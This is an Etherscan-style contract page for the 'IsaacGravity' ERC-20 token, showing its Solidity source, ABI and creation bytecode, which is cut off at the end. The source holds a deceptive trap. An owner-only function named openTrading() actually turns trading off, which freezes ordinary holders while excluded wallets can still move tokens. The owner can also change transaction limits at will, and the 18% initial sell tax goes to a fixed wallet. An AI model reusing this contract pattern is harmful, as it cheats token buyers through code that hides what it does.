ERC-20
Overview
Max Total Supply
10,000,000 💫 Gravity
Holders
14
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
179,333.231752458 💫 GravityValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
IsaacGravity
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-08-11 */ // SPDX-License-Identifier: MIT /********************* Tax: 7% buy and 7% sell (18% initial sell tax, revert after 1 hour) initial max buy: 200,000 (2% supply) Token Name: 🍎 Isaac Newton Symbol: 🌌 Gravity Supply: 10,000,000 There is gravity everywhere. It gives shape to the orbits of the planets, the solar system, and even galaxies. Gravity from the Sun reaches throughout the solar system and beyond, keeping the planets in their orbits. Gravity from Earth keeps the Moon and human-made satellites in orbit. telegram: https://t.me/isaacnewtonportal ***********************/ pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) {return msg.sender;} function _msgData() internal view virtual returns (bytes calldata) {this; return msg.data;} } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) {return _owner;} modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceownership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract IsaacGravity is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromMaxWalletSize; string private constant _name = "Isaac Newton"; string private constant _symbol = "\xF0\x9F\x92\xAB Gravity"; uint8 private constant _decimals = 9; uint256 public buyAutoLiquidityFee=200; uint256 public buyAutoBurnFee=0; uint256 public buyMarketingFee=500; uint256 public totalBuyFees = buyAutoLiquidityFee + buyAutoBurnFee + buyMarketingFee; uint256 public sellAutoLiquidityFee=0; uint256 public sellAutoBurnFee=0; uint256 public sellMarketingFee= 1800; uint256 public totalSellFees = sellAutoLiquidityFee + sellAutoBurnFee + sellMarketingFee; uint256 public tokensForAutoLiquidity; uint256 public tokensForAutoBurn; uint256 public tokensForMarketing; uint16 public masterTaxDivisor = 10000; address public constant DEAD = 0x000000000000000000000000000000000000dEaD; address public pairAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _tTotal = 10000000 * 10**9; uint256 private maxWalletAmount = 200001 * 10**9; uint256 private maxTxAmount = 200001 * 10**9; address payable private feeAddrWallet; event MaxWalletAmountUpdated(uint maxWalletAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); feeAddrWallet = payable(0x03B611D58F232828085fd3cCcC8182325d8724EB); _tOwned[owner()] = _tTotal; uint256 _buyAutoLiquidityFee = 200; uint256 _buyAutoBurnFee = 0; uint256 _buyMarketingFee = 500; uint256 _sellAutoLiquidityFee = 0; uint256 _sellAutoBurnFee = 0; uint256 _sellMarketingFee = 1800; buyAutoLiquidityFee = _buyAutoLiquidityFee; buyAutoBurnFee = _buyAutoBurnFee; buyMarketingFee = _buyMarketingFee; totalBuyFees = buyAutoLiquidityFee + buyAutoBurnFee + buyMarketingFee; sellAutoLiquidityFee = _sellAutoLiquidityFee; sellAutoBurnFee = _sellAutoBurnFee; sellMarketingFee = _sellMarketingFee; totalSellFees = sellAutoLiquidityFee + sellAutoBurnFee + sellMarketingFee; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[feeAddrWallet] = true; _isExcludedFromMaxWalletSize[owner()] = true; _isExcludedFromMaxWalletSize[address(this)] = true; _isExcludedFromMaxWalletSize[feeAddrWallet] = true; swapEnabled = true; tradingOpen = true; maxTxAmount = 200001 * 10**9; maxWalletAmount = 200001 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function getTxAmount() public view returns(uint256) {return maxTxAmount;} function getMaxWallet() public view returns(uint256) {return maxWalletAmount;} function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from),"You are trying to transfer more than your balance"); require(tradingOpen || _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading not enabled yet"); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(amount <= maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= maxWalletAmount, "Exceeds the maxWalletSize."); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromMaxWalletSize[to]) { require(amount + balanceOf(to) <= maxWalletAmount, "Recipient exceeds max wallet size."); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to])); } function openTrading() external onlyOwner() { /** require(!tradingOpen,"trading is already open"); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); */ swapEnabled = false; tradingOpen = false; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function RervertSellFeesToOriginalTax() external onlyOwner{ sellAutoLiquidityFee = 200; sellAutoBurnFee = 0; sellMarketingFee = 500; totalSellFees = sellAutoLiquidityFee + sellAutoBurnFee + sellMarketingFee; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { _tOwned[sender] -= amount; uint256 amountReceived = (takeFee) ? takeTaxes(sender, recipient, amount) : amount; _tOwned[recipient] += amountReceived; emit Transfer(sender, recipient, amountReceived); } function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) { if(from == uniswapV2Pair && totalBuyFees > 0 ) { tokensForAutoLiquidity = amount * buyAutoLiquidityFee / masterTaxDivisor; tokensForAutoBurn = amount * buyAutoBurnFee / masterTaxDivisor; tokensForMarketing = amount * buyMarketingFee / masterTaxDivisor; } else if (to == uniswapV2Pair && totalSellFees > 0 ) { tokensForAutoLiquidity = amount * sellAutoLiquidityFee / masterTaxDivisor; tokensForAutoBurn = amount * sellAutoBurnFee / masterTaxDivisor; tokensForMarketing = amount * sellMarketingFee / masterTaxDivisor; } _tOwned[pairAddress] += tokensForAutoLiquidity; emit Transfer(from, pairAddress, tokensForAutoLiquidity); _tOwned[DEAD] += tokensForAutoBurn; _tTotal = _tTotal - tokensForAutoBurn; _tTotal = totalSupply(); emit Transfer(from, DEAD, tokensForAutoBurn); _tOwned[address(this)] += tokensForMarketing; emit Transfer(from, address(this), tokensForMarketing); uint256 feeAmount = tokensForAutoLiquidity + tokensForAutoBurn + tokensForMarketing; return amount - feeAmount; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function excludeFromMaxWalletLimit(address account) public onlyOwner { _isExcludedFromMaxWalletSize[account] = true; } function includeInMaxWalletLimit(address account) public onlyOwner { _isExcludedFromMaxWalletSize[account] = false; } function SetWalletandTxtAmount(uint256 _maxTxAmount, uint256 _maxWalletSize) external onlyOwner{ maxTxAmount = _maxTxAmount * 10 **_decimals; maxWalletAmount = _maxWalletSize * 10 **_decimals; } function sendETHToFee(uint256 amount) private { feeAddrWallet.transfer(amount); } receive() external payable{ } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWalletAmount","type":"uint256"}],"name":"MaxWalletAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RervertSellFeesToOriginalTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"_maxWalletSize","type":"uint256"}],"name":"SetWalletandTxtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyAutoBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyAutoLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"masterTaxDivisor","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellAutoBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellAutoLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tokensForAutoBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForAutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260c860055560006006556101f460075560075460065460055462000029919062000d4b565b62000035919062000d4b565b60085560006009556000600a55610708600b55600b54600a546009546200005d919062000d4b565b62000069919062000d4b565b600c55612710601060006101000a81548161ffff021916908361ffff1602179055506000601260156101000a81548160ff0219169083151502179055506000601260166101000a81548160ff021916908315150217905550662386f26fc1000060135565b5e65c8f4a0060145565b5e65c8f4a00601555348015620000ed57600080fd5b506200010e6200010262000add60201b60201c565b62000ae560201b60201c565b601260149054906101000a900460ff161562000161576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001589062000cfb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200020257600080fd5b505afa15801562000217573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023d919062000c00565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002a057600080fd5b505afa158015620002b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002db919062000c00565b6040518363ffffffff1660e01b8152600401620002fa92919062000ca1565b602060405180830381600087803b1580156200031557600080fd5b505af11580156200032a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000350919062000c00565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003d757600080fd5b505afa158015620003ec573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000412919062000c00565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200047557600080fd5b505afa1580156200048a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b0919062000c00565b6040518363ffffffff1660e01b8152600401620004cf92919062000ca1565b60206040518083038186803b158015620004e857600080fd5b505afa158015620004fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000523919062000c00565b601060026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507303b611d58f232828085fd3cccc8182325d8724eb601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135460016000620005cf62000ba960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060c890506000806101f49050600080600061070890508560058190555084600681905550836007819055506007546006546005546200064f919062000d4b565b6200065b919062000d4b565b6008819055508260098190555081600a8190555080600b81905550600b54600a546009546200068b919062000d4b565b62000697919062000d4b565b600c81905550600160036000620006b362000ba960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000620007ec62000ba960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff02191690831515021790555065b5e65c8f4a0060158190555065b5e65c8f4a00601481905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040162000a0092919062000cce565b602060405180830381600087803b15801562000a1b57600080fd5b505af115801562000a30573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000a56919062000c2c565b5062000a6762000ba960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60135460405162000ac8919062000d1d565b60405180910390a35050505050505062000e7e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008151905062000be38162000e4a565b92915050565b60008151905062000bfa8162000e64565b92915050565b60006020828403121562000c1357600080fd5b600062000c238482850162000bd2565b91505092915050565b60006020828403121562000c3f57600080fd5b600062000c4f8482850162000be9565b91505092915050565b62000c638162000da8565b82525050565b600062000c7860178362000d3a565b915062000c858262000e21565b602082019050919050565b62000c9b8162000de8565b82525050565b600060408201905062000cb8600083018562000c58565b62000cc7602083018462000c58565b9392505050565b600060408201905062000ce5600083018562000c58565b62000cf4602083018462000c90565b9392505050565b6000602082019050818103600083015262000d168162000c69565b9050919050565b600060208201905062000d34600083018462000c90565b92915050565b600082825260208201905092915050565b600062000d588262000de8565b915062000d658362000de8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000d9d5762000d9c62000df2565b5b828201905092915050565b600062000db58262000dc8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b62000e558162000da8565b811462000e6157600080fd5b50565b62000e6f8162000dbc565b811462000e7b57600080fd5b50565b61343e8062000e8e6000396000f3fe6080604052600436106102085760003560e01c80638da5cb5b11610118578063c9567bf9116100a0578063dd62ed3e1161006f578063dd62ed3e14610724578063ea2f0b3714610761578063ebece9c91461078a578063f239eab8146107b3578063f2fde38b146107de5761020f565b8063c9567bf91461068c578063c99f2fed146106a3578063cc70acee146106ce578063d0a39814146106f95761020f565b80639f71146d116100e75780639f71146d146105b9578063a8b08982146105e2578063a9059cbb1461060d578063b9e937001461064a578063c2af913b146106755761020f565b80638da5cb5b1461050d578063921369131461053857806395d89b41146105635780639740a9461461058e5761020f565b8063313ce5671161019b57806347afcbfe1161016a57806347afcbfe146104245780636cce46fc1461044f57806370a082311461047a5780637bce5a04146104b757806384d6c8c6146104e25761020f565b8063313ce567146103905780633722355c146103bb5780633e0c23b8146103e4578063437823ec146103fb5761020f565b806318160ddd116101d757806318160ddd146102d25780631d6167ac146102fd5780631f3fed8f1461032857806323b872dd146103535761020f565b806303fd2a451461021457806306fdde031461023f578063095ea7b31461026a5780630fa604e4146102a75761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610807565b60405161023691906129cd565b60405180910390f35b34801561024b57600080fd5b5061025461080d565b6040516102619190612a03565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190612676565b61084a565b60405161029e91906129e8565b60405180910390f35b3480156102b357600080fd5b506102bc610868565b6040516102c99190612be0565b60405180910390f35b3480156102de57600080fd5b506102e7610872565b6040516102f49190612be0565b60405180910390f35b34801561030957600080fd5b5061031261087c565b60405161031f9190612bc5565b60405180910390f35b34801561033457600080fd5b5061033d610890565b60405161034a9190612be0565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190612627565b610896565b60405161038791906129e8565b60405180910390f35b34801561039c57600080fd5b506103a5610997565b6040516103b29190612c55565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612599565b6109a0565b005b3480156103f057600080fd5b506103f9610a77565b005b34801561040757600080fd5b50610422600480360381019061041d9190612599565b610b31565b005b34801561043057600080fd5b50610439610c08565b6040516104469190612be0565b60405180910390f35b34801561045b57600080fd5b50610464610c0e565b6040516104719190612be0565b60405180910390f35b34801561048657600080fd5b506104a1600480360381019061049c9190612599565b610c14565b6040516104ae9190612be0565b60405180910390f35b3480156104c357600080fd5b506104cc610c5d565b6040516104d99190612be0565b60405180910390f35b3480156104ee57600080fd5b506104f7610c63565b6040516105049190612be0565b60405180910390f35b34801561051957600080fd5b50610522610c6d565b60405161052f91906129cd565b60405180910390f35b34801561054457600080fd5b5061054d610c96565b60405161055a9190612be0565b60405180910390f35b34801561056f57600080fd5b50610578610c9c565b6040516105859190612a03565b60405180910390f35b34801561059a57600080fd5b506105a3610cd9565b6040516105b09190612be0565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db9190612599565b610cdf565b005b3480156105ee57600080fd5b506105f7610db6565b60405161060491906129cd565b60405180910390f35b34801561061957600080fd5b50610634600480360381019061062f9190612676565b610ddc565b60405161064191906129e8565b60405180910390f35b34801561065657600080fd5b5061065f610dfa565b60405161066c9190612be0565b60405180910390f35b34801561068157600080fd5b5061068a610e00565b005b34801561069857600080fd5b506106a1610e88565b005b3480156106af57600080fd5b506106b8610f3c565b6040516106c59190612be0565b60405180910390f35b3480156106da57600080fd5b506106e3610f42565b6040516106f09190612be0565b60405180910390f35b34801561070557600080fd5b5061070e610f48565b60405161071b9190612be0565b60405180910390f35b34801561073057600080fd5b5061074b600480360381019061074691906125eb565b610f4e565b6040516107589190612be0565b60405180910390f35b34801561076d57600080fd5b5061078860048036038101906107839190612599565b610fd5565b005b34801561079657600080fd5b506107b160048036038101906107ac91906126b2565b6110ac565b005b3480156107bf57600080fd5b506107c861116a565b6040516107d59190612be0565b60405180910390f35b3480156107ea57600080fd5b5061080560048036038101906108009190612599565b611170565b005b61dead81565b60606040518060400160405280600c81526020017f4973616163204e6577746f6e0000000000000000000000000000000000000000815250905090565b600061085e610857611268565b8484611270565b6001905092915050565b6000601454905090565b6000601354905090565b601060009054906101000a900461ffff1681565b600f5481565b60006108a384848461143b565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108ee611268565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561096e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096590612ae5565b60405180910390fd5b61098b8561097a611268565b85846109869190612f17565b611270565b60019150509392505050565b60006009905090565b6109a8611268565b73ffffffffffffffffffffffffffffffffffffffff166109c6610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1390612b05565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a7f611268565b73ffffffffffffffffffffffffffffffffffffffff16610a9d610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea90612b05565b60405180910390fd5b60c86009819055506000600a819055506101f4600b81905550600b54600a54600954610b1f9190612cc5565b610b299190612cc5565b600c81905550565b610b39611268565b73ffffffffffffffffffffffffffffffffffffffff16610b57610c6d565b73ffffffffffffffffffffffffffffffffffffffff1614610bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba490612b05565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a5481565b60095481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b6000601554905090565b60008060009054906101000a900473f